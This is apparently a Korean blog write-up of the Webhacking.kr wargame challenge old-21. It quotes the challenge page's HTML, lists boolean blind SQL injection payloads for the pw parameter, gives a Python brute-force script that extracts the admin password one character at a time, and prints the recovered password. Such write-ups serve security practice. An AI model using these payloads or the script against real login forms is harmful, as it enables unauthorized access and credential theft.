ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Webhacking.kr> old-21
    Wargame/Webhacking.kr 2021. 12. 3. 16:31

    old-21

    admin으로 로그인해야 하는 것 같다.

     

    페이지 소스 코드를 살펴보면

    <html>
    <head>
    <title>Challenge 21</title>
    <style type="text/css">
    body { background:black; color:white; font-size:10pt; }
    input { background:silver; color:black; font-size:9pt; }
    </style>
    </head>
    <body><br><br>
    <center>
    <form method=get action=index.php>
    <table border=0 align=center cellpadding=10 cellspacing=0>
    <tr><td colspan=2 align=center><h1>BLIND SQL INJECTION</h1></td></tr>
    <tr><td align=center>id : <input name=id size=30></td><td></td></tr>
    <tr><td align=center>pw : <input name=pw size=30></td><td><input type=submit></td></tr>
    <tr><td colspan=2 align=center style=background:silver;color:black;font-size:9pt;>Result : <b>
    </b></td></tr>
    </form>
    </center>
    </body>
    </html>

     

    GET 방식이므로 URL 창에

    ?id=admin&pw=' or 1=1%23을 입력하면

    ?id=admin&pw=' or 1=2%23를 입력하면

    이를 통해 "wrong password"는 참이고, "login fail"은 거짓이라고 짐작해 볼 수 있다.

     

    ■pw 길이 구하기

    ?id=admin&pw=' or length(pw) > 35%23를 입력하면

    ?id=admin&pw=' or length(pw) > 36%23를 입력하면

    이를 통해 pw의 길이는 36임을 알 수 있다.

     

    ■pw 구하기

    ?id=admin&pw=' or ord(substr(pw,1,1))=47%23를 이용해

    파이썬 코드를 작성하면

    import requests
    import string
    
    baseurl = "https://webhacking.kr/challenge/bonus-1/index.php"
    cookies = {"PHPSESSID" : "6cil8ne4r5hht2qdrpo2d8enau"}
    pw = ""
    want_str = "wrong password"
    
    for i in range(1, 37):
        for j in range(33, 127):
            url = baseurl + "?id=admin&pw=' or ord(substr(pw,{},1))={}%23".format(i, j)
            res = requests.get(url, cookies=cookies)
    
            if want_str in res.text:
                pw += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    print("pw : ", pw)

    누가 봐도 g가 아닌 것 같지만, 이를 사용해 로그인 하면

    로그인이 되질 않는다.

     

    첫 번째 자리만 break없이 코드를 돌려보니 g도 "wrong password"를 출력하고,

    t도 "wrong password"를 출력한다.

     

    "admin"과 "there_is_no_rest_for_the_white_angel"로 로그인해보면

    문제를 해결할 수 있다.

    'Wargame > Webhacking.kr' 카테고리의 다른 글

    <Webhacking.kr> old-24  (0) 2021.12.06
    <Webhacking.kr> old-22  (0) 2021.12.05
    <Webhacking.kr> old-20  (0) 2021.12.02
    <Webhacking.kr> old-19  (0) 2021.12.01
    <Webhacking.kr> old-18  (0) 2021.11.30
Designed by Tistory.